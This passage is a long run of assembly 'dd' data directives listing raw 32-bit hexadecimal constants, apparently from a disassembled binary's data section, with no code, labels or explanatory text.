		dd 99FA71Fh, 0C1CF1B17h, 3B015490h, 8FC7B92Ch, 0D5C07C5Bh
		dd 62F200B7h, 0BBAC887h, 84006C97h, 8A53B02Fh, 0F2685A72h
		dd 4612011Ch, 56B1D6A5h, 6206h,	3CB5CE31h, 351CC42h, 889B2D9Fh
		dd 6E0AA45h, 0EFF3054Eh, 0C5F800EDh, 0B0AC2E82h, 7865F58h
		dd 22DBB334h, 0D6393140h, 8A8D0E33h, 59C06562h,	0DC0A8916h
		dd 51B4EF04h, 64C1E18Ch, 6AC41748h, 80ED643Ch, 0BBE12055h
		dd 0C44F1EBCh, 88680B2h, 703FA127h, 1E846200h, 41805AE8h
		dd 0B310190h, 3DEC53CAh, 13F8BF3Ah, 0EE002117h,	0AD633B29h
		dd 40080E45h, 0A720CD9Ch, 0F5E83843h, 17D7D000h, 147D9386h
		dd 656F00CEh, 3461A60h,	5E002BC6h, 3F0DC4C8h, 1922D7Bh
		dd 7090EB6Ch, 647CDFD1h, 0F90736B8h, 0E6FEBB67h, 3C2393h
		dd 0C02EEAB2h, 4C8DF05Ch, 451C650Fh, 0B3201831h, 8C1B1CD1h
		dd 19CDC04Bh, 0C301EFABh, 0B7092200h, 0DB9E4174h, 0A6970064h
		dd 79BE5F7h, 0B82C1F48h, 0A000A082h, 837D56Eh, 0F733074Dh
		dd 4F5066h, 3FBD9842h, 0F9437400h, 0FEE6ED69h, 906707C1h
		dd 2049223Bh, 0BF2A0D82h, 53EA9E00h, 779B1269h,	837812EBh
		dd 0B27000AEh, 0BDACD1FEh, 7E42BB00h, 0B1DDFB97h, 0DB7F00EEh
		dd 6B29A898h, 1D74F7CBh, 0C467417h, 63858800h, 0D65AE1h
		dd 4E96BB5Bh, 9C2C8D30h, 9B00F579h, 6075CEBDh, 0FD7671Fh
		dd 3E33FD97h, 0FAAFB180h, 16C05078h, 10FBEEA2h,	14D200F7h
		dd 0CECB465Bh, 7D0FF90Ch, 20E43464h, 50201393h,	4F770076h
		dd 7A594D3Bh, 1800B5BCh, 91D147CEh, 0B240D7h, 8CD477F4h
		dd 7ABC307Dh, 340006ECh, 0F7DCFF41h, 0DE35D9h, 0C052E739h
		dd 307C95B5h, 8224481Eh, 4DBD58C0h, 0DDF7BAh, 29F25A87h
		dd 1B6ED208h, 919E803h,	0D0420581h, 7A46B5E6h, 0D0DA00B8h
		dd 7DA9A2CAh, 0C17F2A52h, 36D3C000h, 0F12D5B5h,	4758009Ch
		dd 64C3A246h, 0E200CD4Fh, 96C6AD93h, 314F074h, 450F8113h
		dd 0C5E0C721h, 2DE284FAh, 96E438h, 0D7DA259Dh, 752272h
		dd 19B46016h, 6D6104B0h, 0A24E990Fh, 0C26C800Bh, 608B6A33h
		dd 7A9426B4h, 0B3B8BBFEh, 2E118D00h, 0B7DF7E1Ah, 54581F4Dh
		dd 5EC54057h, 0C629FD91h, 0B0CFB930h, 0A1FF03h,	47B511E5h
		dd 57F7BBFCh, 7D019148h, 0A310F960h, 0FE4A02C5h, 0D3320036h
		dd 50FF1EFh, 1F00D1C6h,	0CD5E634Bh, 37230B4h, 0AB2401C7h
		dd 0F5D492h, 35974FF0h,	7901336Eh, 2F053DA5h, 7DF93261h
		dd 53B91080h, 0E3D834B0h, 0DC1C1800h, 7B0B459Ah, 0FF270116h
		dd 0CC037A6Bh, 83C20F1h, 0EF674101h, 0A1F78E46h, 0EE1E32C8h
		dd 0AC9C003Ch, 0B302CA37h, 0D40B3BBAh, 8E5067A9h, 8EE5A04Eh
		dd 0FC58207h, 1C74F91Eh, 329BFC0h, 1B00E7D1h, 99F117ECh
		dd 5075560Dh, 0D7F86Ch,	43963E12h, 9C335DE8h, 6E195C00h
		dd 0E0601CFh, 518F006Bh, 4494E525h, 69B8ED8Bh, 0EBD71B01h
		dd 0BB128BAh, 0E9810CCh, 0BECD0975h, 0A90EE620h, 88F4E0CFh
		dd 8E624600h, 835A4FACh, 16743BDFh, 63FCF980h, 0FBC81D9Eh
		dd 84D0C00h, 0BF3279ADh, 0CFD301DDh, 0C354E853h, 711EC8D5h
		dd 45B90800h, 0ED7F09AEh, 0C092603Eh, 0E5622C3Dh, 60E31400h
		dd 83488EC6h, 0BC7E50ABh, 0F9D727Bh, 0BA0930FEh, 4AD8C0FCh
		dd 0AD17E725h, 5DA6B407h, 6C802B41h, 0CA8503h, 0C7A92AAAh
		dd 1767EB52h, 0B44B1D24h, 4CB07900h, 1E5ED971h,	802215C2h
		dd 0C76E7814h, 67000183h, 8764A97Fh, 0F4A844B9h, 0AEB803B2h
		dd 0A18F3DEFh, 0A00C29D8h, 609FD00h, 0D0325C76h, 2F6B005Eh
		dd 0DF1B0B95h, 6D00C9FEh, 19BBAB92h, 16725Bh, 969BD581h
		dd 0E9899CE6h, 0CA84224h, 641DE800h, 0C8C910h, 9C5DE212h
		dd 69892F27h, 71096F0Bh, 53500094h, 42288F5h, 0B3E8B980h
		dd 0BDD0807Fh, 0B50054EAh, 3C391B91h, 23B3FB4h,	0F0126A86h
		dd 5440DAF5h, 831FCD5Ch, 20D8ABFCh, 3974086h, 0CCD8EA73h
		dd 0DC8847F6h, 1D063082h, 0B929AB27h, 13467FB8h, 278D149h
		dd 0A5645028h, 92C7C8A0h, 5F00E7B0h, 0B4A1DD80h, 1A8649h
		dd 32B10C2Dh, 0DE42C341h, 3C4E4Dh, 4CA14A93h, 17BD4D8h
		dd 0B3242522h, 21C782CEh, 2096006h, 9FDB2900h, 8FCA3EB5h
		dd 1DDEEC6h, 0BBDF80Ah,	0C0085CE3h, 2D0086BFh, 0A5BE60D2h
		dd 4B82F9h, 0E5CFC5BBh,	0D5FF04E7h, 0F1024571h,	0A67F2731h
		dd 67304065h, 4E7554h, 636CB08Fh, 59F78D73h, 77F35826h
		dd 52D73700h, 35CB415h,	4D7EFED6h, 1D904463h, 3D01CD0Ah
		dd 6F82F83Ch, 8FD15966h, 9020E4D1h, 0AB7111FFh,	76FDC089h
		dd 731E7Fh, 0BF044A7Ch,	240840A1h, 5D09C4Dh, 0DE7138Ch
		dd 0F595B403h, 0B6308818h, 1BE3038Bh, 112194FFh, 0EAAE90EFh
		dd 72004560h, 8C635D02h, 5685A1h, 0F89BF2DEh, 2CA90F01h
		dd 0FDC13A00h, 0B55828CEh, 79120031h, 2B6F178Fh, 0CD00DF9Fh
		dd 45D7D570h, 743A389h,	0CC6A4131h, 0F81CED8h, 4376ED8Ah
		dd 4AB058B0h, 96014B79h, 56A98ED7h, 0B8B84485h,	1D73F500h
		dd 0FB38B0E8h, 29DC2300h, 0CBFD05E0h, 86300046h, 7E0D9D0Ah
		dd 26003C8Fh, 2F6FA59Eh, 48E359h, 37FD4564h, 0D8CD80AFh
		dd 0CC4E5139h, 4F3307F0h, 2003E191h, 0DC5EF804h, 2665005Ch
		dd 332CC84Dh, 8A0079DDh, 0C54B1812h, 1E758891h,	8716341Fh
		dd 601108B8h, 57FEF45Ch, 652CB8A8h, 0DEF0D489h,	68458A1Eh
		dd 0B8327882h, 64F9C0F4h, 0C8F227h, 7E1C3EF6h, 2033FADAh
		dd 3B342C05h, 0C0EF4CDEh, 85195839h, 0EF40249h,	528092FAh
		dd 0FF2C62A8h, 0D5990348h, 2591038Eh, 0B747D0C5h, 1D202359h
		dd 68C0844Dh, 88B633E7h, 551C011Fh, 4F0C5694h, 539BC0E5h
		dd 0F75BAE00h, 27D29C63h, 0B2D71619h, 39F31B60h, 82A0419Fh
		dd 1202510h, 4CAF90C9h,	0E1022820h, 8C8927C1h, 0B324417Eh
		dd 0F462A70h, 0A6218D3Dh, 0CFE83CE0h, 4E4D0556h, 7EC5803Ch
		dd 183606h, 0F6D667EAh,	74EB6159h, 0CBA9AB00h, 8D669AB3h
		dd 0D34C0016h, 0A4017D7Ah, 0BD00C915h, 0FA3AC5D2h, 7B1785h
		dd 8DD739Bh
		dd 2BDED6EAh, 460FA300h, 48D160A1h, 6A260139h, 8A6BAE74h
		dd 0A7007F02h, 56F31AF6h, 3A34007Bh, 9CBB575Fh,	79072F88h
		dd 23D1BD3Eh, 9F21C510h, 24320393h, 0D04E71A2h,	0BB5995D0h
		dd 413E4D02h, 6807D14Ch, 42AC76Ch, 573F4362h, 0D5C0EF4Fh
		dd 0FF8BB4h, 0D1AB8A12h, 0C8365BF5h, 39002D98h,	0B5307210h
		dd 0ECA85EB3h, 1F380033h, 6F25649Dh, 2100C391h,	75F7DFBBh
		dd 904E0A3Eh, 0ADD7904h, 0DB17ABB3h, 405907F8h,	417740FFh
		dd 70001C9Bh, 303B0F75h, 58E5B5BCh, 980081EAh, 39803153h
		dd 44BA1669h, 0BA444200h, 822E842Fh, 0DFA0074Ch, 6F64E851h
		dd 0EFB0C45Dh, 0B74928Ah, 6900FCE3h, 0A3E708C3h, 29D96Eh
		dd 0EDCE1210h, 0BD445492h, 0A7045E1Eh, 453C3800h, 9BE13Ah
		dd 0EED210A5h, 5D8551C7h, 0B572AF00h, 335ADF6Ch, 845000CCh
		dd 0E7428BF1h, 1E1C6A38h, 0C80037Eh, 6E05F916h,	59A8004Eh
		dd 32393112h, 0F400DE2Fh, 0D4EFD2BEh, 3058E7FFh, 2C304425h
		dd 901213BDh, 0CC4182ECh, 0FBFE111Dh, 1EBEB20h,	0FC951761h
		dd 0C8C15849h, 0B7486D39h, 6A007DD8h, 8A1C9769h, 39D30910h
		dd 62809CF6h, 747AC024h, 5100D92Ah, 0DED26563h,	288A70h
		dd 0C72539DCh, 0DAEEA1Fh, 3F98B900h, 0D5AF7810h, 0F4520055h
		dd 0C22F161Eh, 0B48EDAAh, 78CC001Dh, 0ABC3671Ah, 3D7461h
		dd 663B0F6h, 0DEC797Bh,	48CA2701h, 0C24C566Ah, 9692ECh
		dd 8276DAFEh, 0DC951F54h, 23D71601h, 0A31777DDh, 24B5E420h
		dd 0E4028D8h, 9DC2D4B3h, 0C07F2D24h, 0A9D145h, 303FE8A4h
		dd 9739CACFh, 715D538h,	93A3268Fh, 48163B62h, 3E0434h
		dd 9C20B037h, 254B1E45h, 298BA200h, 1ACC99E1h, 26FB000Fh
		dd 0C2CACD75h, 0AB00702Ch, 8B193B93h, 47F4E9h, 0A74BAA17h
		dd 0A271E2DFh, 0D3433Dh, 0C6A831D5h, 251F57h, 0B0505D64h
		dd 0CE7429E5h, 56FC4A00h, 20A95BA3h, 0AAA60047h, 0A2ECF58Eh
		dd 0B200466Fh, 3C9B3EB7h, 7B33C056h, 31940152h,	262DE521h
		dd 0F482E4ADh, 1886AF00h, 0B03D755Bh, 3AAE04E4h, 0C006E57Fh
		dd 63B485CFh, 0A6AFE600h, 93167E2Dh, 35409DEFh,	0DF00229Eh
		dd 0BB404D04h, 1DAAF41h, 0CDB5B618h, 0DCD8518Ch, 55037116h
		dd 1D029E04h, 769EFF36h, 0D23CBC40h, 0C3FAA849h, 63D73928h
		dd 42E4B3E0h, 0F8797301h, 0B48B71C5h, 0B74DF02Eh, 417EF900h
		dd 79A54DA7h, 0B1209BAh, 0F00F06E8h, 398162C0h,	5B008A46h
		dd 0C03370F1h, 3AFF64Eh, 37347830h, 5E8ACE5h, 0CC00D136h
		dd 49C17DE6h, 770B616h,	0A6A7CDC5h, 3BDD408Bh, 5A005BF7h
		dd 0FCDAB1F4h, 3BAFA0FDh, 8481F16Ah, 56BA4763h,	0F079F928h
		dd 0F0E73ADh, 20331E29h, 0D4FBB2A0h, 0BDB8C2h, 8086BE84h
		dd 6FE1E4FFh, 0EF067107h, 9A909834h, 306A6692h,	0ADC028CAh
		dd 0D5048A76h, 56156DB1h, 0C48B66C1h, 6CA2F4h, 73DB63D6h
		dd 0D15FF876h, 8021F33Eh, 0AB97FCA1h, 7DC4C0C6h, 0BEE00FDBh
		dd 0C8A368Dh, 62EF00B4h, 88A77CBAh, 18384B00h, 4426B2Bh
		dd 4543000Ah, 8DB632DFh, 0A45F1E93h, 0EF000EECh, 0D896380Dh
		dd 7113DB2Ah, 0C006D39Fh, 0FCF88AC7h, 0ADF701DCh, 0FD92C215h
		dd 0EA65E063h, 29676B09h, 97249016h, 0CA9D00E7h, 0B29FE28Dh
		dd 733802C1h, 791D000Bh, 940934D4h, 0C2241EEFh,	7426A1h
		dd 0A870BC83h, 47002FA6h, 3CB0FEA7h, 7B9A9h, 771BEB9Ch
		dd 4B4CBD3Bh, 52DFE912h, 0E7122C16h, 306E645Ch,	9C663860h
		dd 12190EF7h, 9A00B521h, 0BAF9BDBCh, 0F0EF0F6h,	0BCDDDB0Ch
		dd 33018E39h, 0A51F209Fh, 9C94D866h, 0CCCB0848h, 0D6755880h
		dd 7A804CDh, 73EC0AEAh,	3E1092DFh, 2B644CC0h, 830EF400h
		dd 0CCC3D7B6h, 882600D0h, 67AD9C7Eh, 0A1F2D230h, 7A731E00h
		dd 22657464h, 6E140190h, 0C65D7DE8h, 0A5D074A7h, 6BAD9200h
		dd 46D63224h, 0C0A30789h, 5F2CA0ABh, 0D445EC80h, 59093D12h
		dd 0E7B87815h, 0DEA7300h, 20508F12h, 7A965913h,	2D4A053Bh
		dd 0BBBF06h, 9A81E3A8h,	9CB06DC6h, 0B31A4800h, 684B1283h
		dd 0F77C0470h, 0A6D9D89Ch, 18C200D8h, 82B0090Bh, 50900E8Dh
		dd 58006399h, 0DE467B8h, 2BCF0800h, 0D056E5DEh,	2F7B12AAh
		dd 805E1C7Ch, 0F96D5182h, 1F1D5EB5h, 35400336h,	3A2611D5h
		dd 103400D9h, 466D8C0Bh, 0CA07C259h, 860F165Fh,	576A40FFh
		dd 7BB5F290h, 2E8C0053h, 475583D3h, 3548F7DEh, 0AEDC001Eh
		dd 0C7A79389h, 82B31FF6h, 750E40B2h, 0F37B169Bh, 0B79DB905h
		dd 80FEC276h, 110A80C5h, 0D1019F7Fh, 33B358F1h,	5024174Fh
		dd 28FE8B8h, 688249EAh,	0C842A11Ah, 11440480h, 0AD1F9072h
		dd 0D98225C0h, 5049333Ah, 22EF0E6Ch, 4A01FCFAh,	807D794Eh
		dd 2F502534h, 2E06A6E3h, 80449F5Fh, 0CD87CE08h,	6D00E44Dh
		dd 0D177FF24h, 5969075h, 6266AD35h, 0C5C8C1B4h,	441CD053h
		dd 0E332A40Eh, 879F807Ch, 1C013A63h, 839E88F8h,	36DC3442h
		dd 33B118E8h, 0DD0E137Ch, 1408FDC9h, 0BD3CEFh, 0B76B0B0Eh
		dd 67B2978Dh, 10C74007h, 0A5EF8219h, 6EC99503h,	5FF213Ah
		dd 0A70BB019h, 12606328h, 4CC384BAh, 0F8C6C0C5h, 717407BCh
		dd 0BE35970Eh, 10F412h,	0F19F5EDDh, 907AAEh, 0EA45D4CFh
		dd 477C782Bh, 56073FF2h, 17B69FADh, 5F5D70A0h, 0D0F897F4h
		dd 66971600h, 12B1AB80h, 6B1300A1h, 68ACEC51h, 0D30059F0h
		dd 0C032885h, 1550B89h,	0E9B64C12h, 401474BFh, 0FC767987h
		dd 225C981Fh, 90F72B8h,	80272915h, 0F1BC912Eh, 71DD00A0h
		dd 2212148Dh, 0B8B013A2h, 0CA1C387Ch, 0AF401744h, 3E98F483h
		dd 0A310C545h, 5CC80B6h, 601FCAF9h, 0B4853164h,	0DC50AB61h
		dd 9FC30494h, 2C881E80h, 57E3E79h, 26E9481h, 99DE9387h
		dd 0D7212908h, 3F505F4h, 414BCEF6h, 708E4248h, 92780913h
		dd 0C09D50h, 37EFB9BBh,	190294E3h, 884121Ah, 0A134344Ah
		dd 5B00DB98h, 0E963F30Ch, 0C52DBE7h, 0B4ADEE28h, 48C9698h
		dd 9420059Ch, 212662DEh, 0D8058AD9h, 4E781A9Ch,	48D61200h
		dd 0ED61E0BFh, 62B0FAh,	0A310F2ECh, 5D6A4987h, 0A56CDB07h
		dd 37A0C88Fh, 732FF4h, 7101FB57h, 9F7447BBh, 0ED35FD12h
		dd 0D0B3CF00h, 1EFC2Dh,	57D3BFCAh, 116CDACEh, 1F3CA400h
		dd 0FE1FD90h, 0DF03Eh, 9BC39DB1h, 11A3055Ch, 707BA500h
		dd 0D7B58173h, 35691DC1h, 3E03442Fh, 0D33682CDh, 0D27A32C0h
		dd 71E14100h, 0F3697E35h, 56C1009Ch, 29DF85EDh,	0FB00AB5Eh
		dd 2358D5BDh, 0D87340h,	460CF471h, 0EAB191F7h, 4B7C8CAh
		dd 9200DC55h, 7E25B4FAh, 1FDAD3Eh, 36058037h, 20021C4Ch
		dd 0D8007720h, 0A3084946h, 0F732537Dh, 70312E4h, 544BBEBDh
		dd 756590BBh, 29C847E7h, 3F794271h, 0AB217824h,	52151141h
		dd 0C23D6710h, 22CECC81h, 924BC12h, 113CB321h, 0DF11BA30h
		dd 13AD120Eh, 79280A9Bh, 0C1422804h, 394D6111h,	0E8296227h
		dd 0F1F22B8h, 224E0522h, 0FC24A65Eh, 1308D321h,	7A00E4F9h
		dd 6FAB96ADh, 4285DC00h, 0C874CC1Fh, 0E5E60308h, 41D8B835h
		dd 0E4C143A9h, 61014B87h, 3E366673h, 0EBF4B646h, 0D8230028h
		dd 108B029Ch, 4F0058CFh, 80125147h, 8D5A97h, 61C3A085h
		dd 0BB67C738h, 89D6E0B7h, 0DDF0D3h, 5709B73Eh, 333D6B5Fh
		dd 0A00B3900h, 71059A98h, 3F110304h, 0A736658h,	7CE81007h
		dd 6D40B88Bh, 5C6C6201h, 6700498Ch, 42EB999Fh, 0B4247402h
		dd 0DE07182Eh, 0AB90DA94h
		dd 40F458h, 794D3993h, 9E9CA3DCh, 0B376AC00h, 4F242519h
		dd 0FBA40C89h, 551018B6h, 11C76A00h, 1981FF1Bh,	13940761h
		dd 6FF5DEF6h, 0A604CC00h, 870085BCh, 0AA783CDBh, 763809B1h
		dd 0D6C2007Ah, 46E1E26Ch, 2D6365D2h, 0A06A3F90h, 0A61BFFh
		dd 32748561h, 8F4E1641h, 0D0BF983Eh, 0BA0EB6E2h, 4077FDCBh
		dd 8467AB51h, 7211E28Eh, 0C2EC3C0Eh, 0FBA26D84h, 0B22C8029h
		dd 23004809h, 2218412Ah, 0F29CC2F2h, 8E6D0372h,	1B600BB5h
		dd 28D13800h, 932440DDh, 0B17830F4h, 39A88928h,	50622201h
		dd 0E1F3DACh, 88FCDCh, 8AB876B2h, 42C9F1E4h, 3A3B5F00h
		dd 0CB99F7DEh, 33401F09h, 54A8C0B2h, 0A2A93466h, 0DF60C51Eh
		dd 2FF88CFAh, 94D042h, 5C59ECEDh, 887C7324h, 0A2DEF41Eh
		dd 96C29CC0h, 79184C74h, 20A60010h, 0D5A5DC84h,	26E2454Ah
		dd 0CB1CC103h, 80E0CA30h, 1D965FDEh, 40E34653h,	233FED86h
		dd 474CAD8Eh, 4D040014h, 0AEE87A69h, 836D0060h,	0F235C7BEh
		dd 0DA003743h, 0A6CD0D1Dh, 347E1Ah, 0DDE6CFD4h,	90C8A08Fh
		dd 7FAE9F00h, 69502E05h, 261B0799h, 0E37B3256h,	22E034D6h
		dd 880228C7h, 2D50632Ah, 0D1474398h, 0D4FCE50Ch, 7CE02401h
		dd 4018063Ch, 3C3029BAh, 1B62F093h, 855D0021h, 466F4E75h
		dd 3200331Ah, 50618490h, 0ECFDCA22h, 0AA44006Eh, 1CA701F5h
		dd 6C008FFAh, 0BA0EF046h, 0BD2D90h, 110AB5F6h, 14047712h
		dd 0B72E3900h, 7A01476Ah, 0B01528DEh, 902A2488h, 0D80A80C4h
		dd 0E0C892C2h, 5C6BD3Bh, 88845868h, 8070D800h, 9484B06h
		dd 38F5B4Ah, 0B19E00DFh, 0FF2B1Ch, 61692540h, 0BB206628h
		dd 8065081Dh, 476F180h,	2426D737h, 98683Dh, 78C6D44h, 0C1EAA38h
		dd 3869EDh, 0AC32C6CDh,	716C8FAh, 0E23C2D99h, 7201B0EEh
		dd 0AF0F3B8Ah, 0C36A7385h, 0B0BF4BC2h, 0BDCE6h,	37B2D0C8h
		dd 0BBA2076Ch, 26A99000h, 0B661A0B1h, 44380F6Bh, 0F23E31h
		dd 9B483A08h, 3C80B435h, 2920005h, 573966E3h, 0FF0FB55Bh
		dd 0E0BB0A72h, 0A4C57A22h, 65200CEh, 2EA6EC4Ch,	0B807992Ah
		dd 9DF7A8D0h, 0C0EE3DC7h, 59851172h, 0DEFB405Eh, 5F16E901h
		dd 2B6E53AFh, 0B8EC3420h, 0E6E302CDh, 347C0506h, 9A73B040h
		dd 451241E8h, 0E0008F31h, 0EBAA7ABBh, 0DCC4A0B1h, 0E4D00166h
		dd 0F184E280h, 0F14301Dh, 96753E90h, 0D3E4400h,	0DC7015EEh
		dd 5B4100EAh, 7B7D61ABh, 0EFF0E4F7h, 0A527F800h, 59D74EF4h
		dd 9CCB4840h, 58BB0D09h, 0B7E1BC00h, 5607302h, 2849B411h
		dd 0E552000Fh, 48909ADh, 46F6D1A7h, 0C95D373Eh,	39EC0520h
		dd 0D7007BA0h, 8557B2A6h, 30B6E6BDh, 27D86F9Fh,	0F907F31Fh
		dd 71256746h, 0A2ECE940h, 33FF00ABh, 0DDC37755h, 0E500972Ch
		dd 7AE23D36h, 0B7B4D2h,	0A9CE4DB8h, 6DBEE809h, 70D043Fh
		dd 0A281846Eh, 205CD910h, 0EBA303Bh, 3DC2D558h,	6549B00h
		dd 0DC07094Ah, 10B856h,	0B3F708FFh, 0DD692685h,	398D6F00h
		dd 2982BBFh, 0A9E024D7h, 5720094h, 2DEF3890h, 0D2376507h
		dd 7F908A44h, 0FAA4656h, 79363E9Bh, 0B8094540h,	60C17215h
		dd 0F0F23FA8h, 0DAE44471h, 359F007Ah, 0A4C7D5F5h, 3301EDF1h
		dd 0A10B49Ch, 10200504h, 0EAFDE484h, 4C2200BAh,	51A111DCh
		dd 0DA011BC2h, 0BA39E6Ch, 0DBE09048h, 2D6407D7h, 40A9E386h
		dd 0B75B7947h, 334C13Eh, 0B2B9C8CBh, 1724F8C9h,	4E32001Fh
		dd 6FDB78B0h, 827739C1h, 0CF0DE00h, 425D4D7Dh, 0C86B0051h
		dd 1C5F93AEh, 0EB782022h, 0B227520Fh, 4D34603Ah, 0D86B8Dh
		dd 0CFF4556Ah, 0A8571C75h, 0E46F501h, 498CC426h, 1DD8F8h
		dd 114209FAh, 56B2A9CCh, 0E2893601h, 8517F3D0h,	6A1F9040h
		dd 13F600A5h, 409D93B5h, 5400C04Bh, 0C5309961h,	0E392D0h
		dd 35884642h, 0E0CDEC87h, 0CC5E0F1Fh, 0FA0058A4h, 0A1B11975h
		dd 6CFE0031h, 43B74B26h, 0A7092C03h, 3C586F4h, 0E115F29Ch
		dd 0AC308125h, 4B709F0Bh, 0FF900200h, 6C54DB58h, 0A34C0004h
		dd 0BDEF6306h, 7D00AB28h, 0CDD30580h, 3F83119h,	0C1B9EEC4h
		dd 0BFD86A92h, 9A16F245h, 50004E2Ch, 983BC00Eh,	0F9C2034Dh
		dd 10A6D1FDh, 0B0CC8E90h, 65340200h, 633EDCB7h,	88A74869h
		dd 0F2B12407h, 0E667A03Ah, 940096B6h, 1B36E2E5h, 0CA6E25h
		dd 72E7A7C0h, 8B4C3E7Ch, 0ED96C800h, 0B1F56F03h, 21290045h
		dd 0ED4939Ch, 270257A3h, 6A3258EAh, 2B2CC037h, 0C94000ACh
		dd 0BB2D175Ah, 30036FAh, 234BF431h, 0B00697h, 0C73FF389h
		dd 0ABB87A7h, 0A5DB3002h, 8070DAD1h, 329F7BD4h,	29DF0053h
		dd 82CE31DCh, 3C01C6CCh, 2B717CEDh, 80C77F83h, 1208AE7h
		dd 0A8749741h, 0F424AE81h, 194A14A3h, 0F7851400h, 29121C0h
		dd 0D7C743B6h, 7CC79608h, 7F6AA080h, 5AE06Eh, 43280EB3h
		dd 0CB3C1811h, 7024C39h, 0E978474Fh, 0DB8B55B1h, 371820h
		dd 701E21CEh, 0EEBF7F8Eh, 2ED4A802h, 0C0B42043h, 2E328832h
		dd 0CF547h, 0FE52EA81h,	193C0C51h, 0BCB98068h, 0FBD2409Eh
		dd 3D7398h, 51FA764Eh, 188812Ah, 60026B8h, 366649E5h, 1CD9AAA4h
		dd 80F953EDh, 55B118A8h, 0A7009991h, 4360950Fh,	0F1DD71h
		dd 0FAC67B29h, 26929D4Eh, 0C1159400h, 67506520h, 1FD90042h
		dd 0D588C33Ch, 58EE6971h, 133090FCh, 7E1BD473h,	0C3230044h
		dd 3FFB1705h, 0D3030AD2h, 0E5754F15h, 51DEA895h, 856512A8h
		dd 550F0050h, 6B4CA997h, 9F4FAD00h, 5666B440h, 3FFB89Dh
		dd 88E17F21h, 0A8803397h, 0CBEC6DB8h, 26477B00h, 0A303053Eh
		dd 8E4C00BEh, 0BBE5DFCAh, 2570FA15h, 47F19700h,	0A95EFF1Eh
		dd 0FBBF0363h, 76344689h, 0A6E4D2B8h, 2140CB13h, 22009B13h
		dd 889B6CC9h, 6813000Ch, 0A25AFF7Ch, 9D014C43h,	7E359A5Bh
		dd 6881CE92h, 4297AC6Ah, 1613E0B0h, 9F1B8C00h, 0BC228B70h
		dd 30B012Fh, 182D4FBh, 0DE53CD5Dh, 54A69060h, 153E8100h
		dd 18F6EE08h, 2C42029Dh, 8EC35BC8h, 0A1A36840h,	96267AC1h
		dd 1CC4E0Bh, 85FE01F5h,	74A8A5A7h, 6A4C3068h, 0C8F2B900h
		dd 579D2E08h, 8F9A00EAh, 3C718A8Bh, 0F8E4FD5Dh,	1497CF1Ch
		dd 9F0368A4h, 984E60FBh, 198F150h, 3FB90896h, 24E703D7h
		dd 8407A718h, 2799ECD2h, 9B97CDA0h, 20B16F1h, 8AEC00B0h
		dd 6877C004h, 0D7609100h, 4A4B7428h, 36A600D4h,	0A7090A50h
		dd 709C5E35h, 12AB9D02h, 0BCBCC0ADh, 0BB132EF8h, 603202EAh
		dd 0B8C8154Ch, 50168B99h, 2900D8BCh, 0C4FD5E62h, 0CB639ABh
		dd 82467380h, 96F7DB23h, 0FB90A100h, 40D3D09Dh,	67FF3816h
		dd 1DDAD71Fh, 80D5C065h, 0CA3ABBB2h, 0D8053202h, 50E88924h
		dd 0B1960030h, 11C1F3DEh, 0AB002F98h, 79633A2Dh, 0F85AB2A0h
		dd 0D57500F6h, 0BDFF82DFh, 0CB00257Dh, 0B8F754DAh, 1D6913CDh
		dd 0C0188022h, 9AFD9858h, 74068BE6h, 5D5BA944h,	0F0C500F8h
		dd 83EAD0C3h, 0D40412F1h, 85A75110h, 0B540C8h, 83CFA3BEh
		dd 0B458A14Ah, 1AE170E5h, 0FEC8BA00h, 0A36E1C11h, 0D497A0D0h
		dd 284E4CDFh, 0E7B64D00h, 0B7EB5DDh, 0DC089D00h, 41AFC16Dh
		dd 1DEE0D0Ah, 30E0F8F3h, 0C5049024h, 3299496Bh,	22564E0h
		dd 0E585E2B0h, 50E027D6h, 3B01946Ch, 0E19837C1h, 289E26A3h
		dd 582DC021h, 66428ED2h, 1827AB30h, 70B0F6A0h, 108B803h
		dd 3E92BD87h, 0E4A40D4Dh, 3B00B5D6h, 0A86D28C8h, 58F549Ch
		dd 0E8927520h, 0E5E280CDh, 983AAA24h, 812B3A1Eh, 0C525E0F4h
		dd 0A3F18A93h, 2FBE270h, 6A2EBAF6h, 85C0E261h, 0B000E1Fh
		dd 1195CE81h, 17E8F87Ah, 4F097627h, 38A04C0Ch, 6128B06Ah
		dd 0DEB5292Fh, 0E8824E9h, 7CAE379Dh, 2FF47560h,	900B630h
		dd 359C6A63h, 75E8D6F6h, 513600ABh, 3C1DB378h, 0D70F6483h
		dd 3CB5BAEAh, 52733100h, 5C9C2D1Fh, 0E50BA017h,	38F3FA4h
		dd 68BA0780h, 0B0009163h, 672655AFh, 0B1858h, 823EB451h
		dd 0D478EDB2h, 0CB03DE98h, 3D701368h, 2A8AA893h, 44241E5Fh
		dd 0C828B6h, 0DBFB5928h, 7E5C0EEh, 1D48C54h, 974F2F00h
		dd 0D77FAE9Dh, 4414002Eh, 0BCC5C777h, 0EC924031h, 6C6EE00h
		dd 9ECD61EAh, 21CF0048h, 3A51A445h, 2EEA01C3h, 2363A00Eh
		dd 37E02030h, 905CC61Eh, 8C59005Ch, 334E0935h, 0FB0047A6h
		dd 0E92A1522h, 9B04C4h,	17E33898h, 5507E19Fh, 0F5282400h
		dd 64DD1BE0h, 0E70900F1h, 0D4B8E6C8h, 0A510E823h, 71004FEFh
		dd 5A926030h, 0C8F48E8Dh, 1F80CC94h, 0B71DD084h, 0EDDF05DAh
		dd 0C3C37E28h, 3AA8F98Ch, 35001997h, 76467734h,	0BEAC6Fh
		dd 497AD841h, 316E57C2h, 3CFF0126h, 825D1C08h, 0B2EEACD6h
		dd 789326h, 9465EC85h, 25B9FBDCh, 0E82D98C0h, 98F8892Ch
		dd 9B801242h, 0FE89003Ch, 0F3A16E1Dh, 0E2323400h, 62762604h
		dd 0BE692E5Ch, 43661DBAh, 0B627D0E5h, 3FFF8AD0h, 72ADE800h
		dd 3DBAB826h, 3E4376FCh, 3380103Ah, 0F9EE94F8h,	0DA00C337h
		dd 9812AEDBh, 0EFABC7h,	8166035Eh, 4905A7CCh, 7C2DF32Eh
		dd 0EE7ADB04h, 0C708B0h, 4A6EAFF6h, 89B95FA2h, 6E4F6D26h
		dd 0AF90307h, 0B2AB1190h, 0FE4E15ADh, 5101DC34h, 629A6406h
		dd 607447F6h, 40B3D3F4h, 80C9058h, 8364F79Bh, 0EA9753E2h
		dd 0E16801F8h, 1D8F6E0Fh, 3412A062h, 109B6Bh, 89CAE0B7h
		dd 0D60624BAh, 95B25B00h, 68DDD4F2h, 59553EBBh,	816E0C80h
		dd 0E778A939h, 147F2204h, 9C806789h, 6A0B49h, 9A95C2A2h
		dd 23ED41F7h, 0C8227A00h, 87BEF88Fh, 3EC7000Bh,	37E7C664h
